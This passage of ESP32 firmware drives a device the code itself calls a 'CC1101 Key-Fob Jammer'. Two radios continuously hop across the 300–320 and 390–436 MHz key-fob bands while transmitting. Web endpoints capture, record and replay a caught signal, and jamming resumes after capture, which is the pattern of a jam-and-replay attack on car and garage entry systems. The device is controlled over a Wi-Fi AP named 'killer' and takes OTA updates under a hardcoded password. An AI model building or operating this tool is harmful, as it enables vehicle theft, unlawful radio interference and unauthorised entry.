sweep2SpanMhz = preferences.getFloat("sweep2Span", SWEEP_2_SPAN_MHZ);
|
||
if (jamPowerIdx >= JAM_POWER_LEVELS) jamPowerIdx = DEFAULT_JAM_POWER_IDX;
|
||
if (sweepDwellMs < 1) sweepDwellMs = 1;
|
||
if (sweep1Steps < 2) sweep1Steps = 2;
|
||
if (sweep2Steps < 2) sweep2Steps = 2;
|
||
jamPower = kPowerTable[jamPowerIdx];
|
||
logLine("[NVS] jamEnabled=" + String(jammingEnabled) + " jamPowerIdx=" + String(jamPowerIdx) +
|
||
" (" + String(jamPower) + " dBm) ampGain=" + String(ampGainDb) +
|
||
"dB sweepDwell=" + String(sweepDwellMs) + "ms");
|
||
|
||
logLine("[BOOT] CC1101 Key-Fob Jammer starting");
|
||
logLine("[BOOT] ESP32-S3 DevKitC-1");
|
||
Serial.flush();
|
||
|
||
// Rotary encoder — interrupt on CLK falling edge
|
||
pinMode(ENC_CLK_PIN, INPUT_PULLUP);
|
||
pinMode(ENC_DT_PIN, INPUT_PULLUP);
|
||
encLastClk = digitalRead(ENC_CLK_PIN);
|
||
attachInterrupt(digitalPinToInterrupt(ENC_CLK_PIN), encISR, CHANGE);
|
||
logLine("[ENC] Rotary encoder ready GPIO14=CLK GPIO21=DT");
|
||
|
||
oledBootMsg("SPI init...");
|
||
|
||
// Initialize SPI (required for CC1101 communication)
|
||
Serial.println("[SPI] Initializing SPI bus...");
|
||
Serial.flush();
|
||
|
||
// Drive CS pins HIGH before SPI init to prevent bus collisions
|
||
pinMode(CC1101_1_CS, OUTPUT);
|
||
digitalWrite(CC1101_1_CS, HIGH);
|
||
pinMode(CC1101_2_CS, OUTPUT);
|
||
digitalWrite(CC1101_2_CS, HIGH);
|
||
delay(10);
|
||
|
||
// Initialize the FSPI bus on the explicit ESP32-S3 pins
|
||
spi.begin(SPI_SCK_PIN, SPI_MISO_PIN, SPI_MOSI_PIN, -1);
|
||
// Pull MISO high to prevent floating bus reads from returning garbage
|
||
pinMode(SPI_MISO_PIN, INPUT_PULLUP);
|
||
logLine("[SPI] SPI bus initialized on SCK=" + String(SPI_SCK_PIN) +
|
||
" MISO=" + String(SPI_MISO_PIN) + " MOSI=" + String(SPI_MOSI_PIN) +
|
||
" speed=" + String(SPI_SPEED_HZ));
|
||
delay(150); // Allow CC1101 VCC to stabilize
|
||
|
||
oledBootMsg("WiFi AP start...");
|
||
|
||
// Start WiFi AP
|
||
Serial.println("[DEBUG] Starting WiFi AP...");
|
||
Serial.flush();
|
||
WiFi.persistent(false);
|
||
WiFi.setSleep(false);
|
||
WiFi.mode(WIFI_MODE_AP);
|
||
WiFi.softAPdisconnect(true);
|
||
delay(100);
|
||
WiFi.softAPConfig(IPAddress(192, 168, 4, 1), IPAddress(192, 168, 4, 1), IPAddress(255, 255, 255, 0));
|
||
|
||
bool apOk = false;
|
||
for (int attempt = 1; attempt <= 5 && !apOk; ++attempt) {
|
||
if (strlen(WIFI_AP_PASS) == 0) {
|
||
apOk = WiFi.softAP(WIFI_AP_SSID, nullptr, 1, 0, 4);
|
||
} else {
|
||
apOk = WiFi.softAP(WIFI_AP_SSID, WIFI_AP_PASS, 1, 0, 4);
|
||
}
|
||
Serial.println("[DEBUG] WiFi.softAP attempt " + String(attempt) + ": " + (apOk ? "OK" : "FAILED"));
|
||
Serial.flush();
|
||
if (!apOk) {
|
||
delay(300);
|
||
}
|
||
}
|
||
Serial.println(String("[DEBUG] WiFi.softAP result: ") + (apOk ? "OK" : "FAILED"));
|
||
Serial.flush();
|
||
if (!apOk) {
|
||
logLine("[WIFI] softAP failed");
|
||
Serial.println("[ERROR] WiFi softAP failed");
|
||
Serial.flush();
|
||
}
|
||
|
||
delay(250);
|
||
IPAddress ip = WiFi.softAPIP();
|
||
logLine("[WIFI] AP started: " + String(WIFI_AP_SSID) + " IP: " + ip.toString());
|
||
Serial.println("[WIFI] AP SSID: " + String(WIFI_AP_SSID));
|
||
Serial.println("[WIFI] AP IP: " + ip.toString());
|
||
Serial.flush();
|
||
|
||
if (MDNS.begin("killer")) {
|
||
MDNS.addService("http", "tcp", WEB_PORT);
|
||
Serial.println("[MDNS] Started: http://killer.local");
|
||
} else {
|
||
Serial.println("[MDNS] Failed");
|
||
}
|
||
Serial.flush();
|
||
|
||
// Setup web server routes
|
||
server.on("/", handleRoot);
|
||
server.on("/api/log", handleLog);
|
||
server.on("/api/telemetry", handleTelemetry);
|
||
server.on("/api/health", handleHealth);
|
||
server.on("/api/toggle", HTTP_POST, handleToggle);
|
||
server.on("/api/settings", HTTP_POST, handleSettings);
|
||
server.on("/api/sweep", HTTP_POST, handleSweepSettings);
|
||
server.on("/api/amp", HTTP_POST, handleAmpSettings);
|
||
server.on("/api/capture/start", handleCaptureStart);
|
||
server.on("/api/capture/stop", handleCaptureStop);
|
||
server.on("/api/capture/replay", handleCaptureReplay);
|
||
server.on("/api/capture/status", handleCaptureStatus);
|
||
server.on("/api/capture/wave", handleCaptureWave);
|
||
server.onNotFound(handleNotFound);
|
||
server.begin();
|
||
|
||
// OTA firmware updates over WiFi (connect to 'killer' AP, upload via PlatformIO OTA)
|
||
ArduinoOTA.setHostname("killer");
|
||
ArduinoOTA.setPassword("killerpw");
|
||
ArduinoOTA.onStart([]() { logLine("[OTA] Update starting..."); });
|
||
ArduinoOTA.onEnd([]() { logLine("[OTA] Update complete, rebooting"); });
|
||
ArduinoOTA.onError([](ota_error_t e) { logLine("[OTA] Error: " + String(e)); });
|
||
ArduinoOTA.begin();
|
||
logLine("[OTA] Ready — hostname: killer, port: 3232");
|
||
logLine("[HTTP] Server started on port " + String(WEB_PORT));
|
||
Serial.println("[HTTP] Server started on port " + String(WEB_PORT));
|
||
Serial.flush();
|
||
|
||
// Start jamming immediately if enabled
|
||
if (jammingEnabled) {
|
||
oledBootMsg("Radio 1 init...");
|
||
// (radio 2 init happens inside startJamming immediately after radio 1)
|
||
startJamming();
|
||
if (radio1Status == 2 || radio2Status == 2) {
|
||
oledBootMsg("JAMMING - ACTIVE!");
|
||
} else {
|
||
oledBootMsg("RADIO INIT FAILED");
|
||
}
|
||
} else {
|
||
radio1Status = -1;
|
||
radio2Status = -1;
|
||
radio1Error = "Disabled / not initialized";
|
||
radio2Error = "Disabled / not initialized";
|
||
logLine("[JAM] Jamming disabled on boot");
|
||
oledBootMsg("Standby. Press START.");
|
||
}
|
||
delay(800); // hold boot result on display briefly before switching to live pages
|
||
}
|
||
|
||
// Advance one radio to the next sweep frequency using cached VCO calibration.
|
||
// Bypasses the ~720µs auto-calibration dead time on every hop.
|
||
static void tickSweepFast(uint8_t csPin, uint8_t& step, uint8_t steps,
|
||
SweepStepCache* table, uint32_t& lastMs, float& curFreq,
|
||
uint32_t& hopCnt) {
|
||
const uint32_t now = millis();
|
||
if (now - lastMs < sweepDwellMs) return;
|
||
lastMs = now;
|
||
|
||
// Jump to IDLE to safely change registers
|
||
spiStrobe(csPin, 0x36); // SIDLE
|
||
|
||
// Write cached FREQ registers (0x0D, 0x0E, 0x0F)
|
||
spiWriteReg(csPin, 0x0D, table[step].freqRegs[0]);
|
||
spiWriteReg(csPin, 0x0E, table[step].freqRegs[1]);
|
||
spiWriteReg(csPin, 0x0F, table[step].freqRegs[2]);
|
||
|
||
// Write cached FSCAL registers (0x23, 0x24, 0x25)
|
||
spiWriteReg(csPin, 0x23, table[step].fscalRegs[0]);
|
||
spiWriteReg(csPin, 0x24, table[step].fscalRegs[1]);
|
||
spiWriteReg(csPin, 0x25, table[step].fscalRegs[2]);
|
||
|
||
// Disable auto-calibration before transmitting (MCSM0 register 0x18, bits 5:4 = 00)
|
||
// RadioLib defaults this to 0x18 (0001 1000) which is 01 (calibrate from IDLE to TX).
|
||
// We overwrite it to 0x08 (0000 1000) to never auto-calibrate.
|
||
spiWriteReg(csPin, 0x18, 0x08);
|
||
|
||
// Jump straight to TX without auto-cal
|
||
spiStrobe(csPin, 0x35); // STX
|
||
|
||
curFreq = table[step].freqMhz;
|
||
hopCnt++;
|
||
step = (step + 1) % steps;
|
||
}
|
||
|
||
void loop() {
|
||
ArduinoOTA.handle();
|
||
server.handleClient();
|
||
oledTick();
|
||
yield();
|
||
|
||
const uint32_t now = millis();
|
||
|
||
// Capture state machine — runs in main loop (ISR sets flags, loop acts on them)
|
||
|
||
// Signal-present detection: fire OLED "SIGNAL!" once per session when
|
||
// the ISR has seen enough stable bits to indicate a real RF burst.
|
||
// capLongRuns > 10 filters out thermal noise which transitions almost constantly.
|
||
if (capMode == CapMode::RECORDING && !capSigNotified && capLongRuns > 10) {
|
||
capSigNotified = true;
|
||
oledNotify("SIGNAL!", "CAUGHT -- PRESS STOP", 3000);
|
||
logLine("[CAP] Signal detected: " + String(capLongRuns) + " valid symbols @ bit " + String(capIdx));
|
||
}
|
||
|
||
if (capMode == CapMode::RECORDING && capBufFull) {
|
||
capTimerStop();
|
||
capRecBits = capIdx;
|
||
capBufFull = false;
|
||
capMode = CapMode::RECORDED;
|
||
gpio_set_direction(capGdoPin, GPIO_MODE_OUTPUT);
|
||
gpio_set_level(capGdoPin, 0);
|
||
logLine("[CAP] Buffer full: " + String(capRecBits) + " bits (" +
|
||
String(capRecBits * 1000 / CAP_SAMPLE_HZ) + " ms) captured");
|
||
oledNotify("CAPTURED", (String(capRecBits * 1000 / CAP_SAMPLE_HZ) + "ms").c_str());
|
||
if (capPrevJamming) {
|
||
capPrevJamming = false;
|
||
jammingEnabled = true;
|
||
startJamming();
|
||
}
|
||
}
|
||
|
||
// Auto-reinit watchdog: if jamming should be active but a radio failed, retry every 30s
|
||
if (jammingEnabled && now - lastReInitCheck >= 30000) {
|
||
lastReInitCheck = now;
|
||
bool needReinit = (radio1Status != 2 || radio2Status != 2);
|
||
if (needReinit) {
|
||
logLine("[WDT] Radio failure detected, attempting reinit...");
|
||
oledNotify("RADIO REINIT", "R1 + R2...");
|
||
startJamming();
|
||
}
|
||
}
|
||
|
||
static uint32_t lastHeartbeat = 0;
|
||
if (now - lastHeartbeat >= 5000) {
|
||
lastHeartbeat = now;
|
||
|
||
const uint32_t freeHeap = ESP.getFreeHeap();
|
||
if (freeHeap < minFreeHeap) minFreeHeap = freeHeap;
|
||
|
||
// Low-heap protection: heap below 15 KB risks crash — reboot cleanly
|
||
if (freeHeap < 15360) {
|
||
logLine("[CRIT] Heap critical: " + String(freeHeap) + "B — rebooting");
|
||
delay(500);
|
||
ESP.restart();
|
||
}
|
||
|
||
// Temperature alarm: log once per minute if over threshold
|
||
const float tempC = temperatureRead();
|
||
if (tempC > 75.0f && now - lastTempWarnMs > 60000) {
|
||
lastTempWarnMs = now;
|
||
logLine("[WARN] High temp: " + String(tempC, 1) + "°C");
|
||
}
|
||
|
||
Serial.println("[HEARTBEAT] up=" + String(now - uptimeStart) + "ms heap=" +
|
||
String(freeHeap) + " minHeap=" + String(minFreeHeap) +
|
||
" temp=" + String(tempC, 1) + "°C" +
|
||
" hops=" + String(hopCount1) + "/" + String(hopCount2));
|
||
Serial.flush();
|
||
}
|
||
|
||
// Frequency sweep — hop both radios across their bands while jamming
|
||
if (jammingEnabled) {
|
||
if (radio1Status == 2)
|
||
tickSweepFast(CC1101_1_CS, sweepStep1, sweep1Steps, sweepTable1, lastSweep1Ms, sweepFreq1, hopCount1);
|
||
if (radio2Status == 2)
|
||
tickSweepFast(CC1101_2_CS, sweepStep2, sweep2Steps, sweepTable2, lastSweep2Ms, sweepFreq2, hopCount2);
|
||
}
|
||
|
||
// Handle serial input for debugging
|
||
if (Serial.available()) {
|
||
String cmd = Serial.readStringUntil('\n');
|
||
cmd.trim();
|
||
if (cmd == "start") {
|
||
startJamming();
|
||
} else if (cmd == "stop") {
|
||
stopJamming();
|
||
} else if (cmd == "status") {
|
||
Serial.println("Jamming: " + String(jammingEnabled ? "ON" : "OFF"));
|
||
Serial.println("Power: " + String(jamPower) + " dBm");
|
||
Serial.println("Radio 1 (300-320 MHz): " + String(jammingEnabled ? "TRANSMITTING" : "STANDBY"));
|
||
Serial.println("Radio 2 (390-436 MHz): " + String(jammingEnabled ? "TRANSMITTING" : "STANDBY"));
|
||
}
|
||
}
|
||
}
|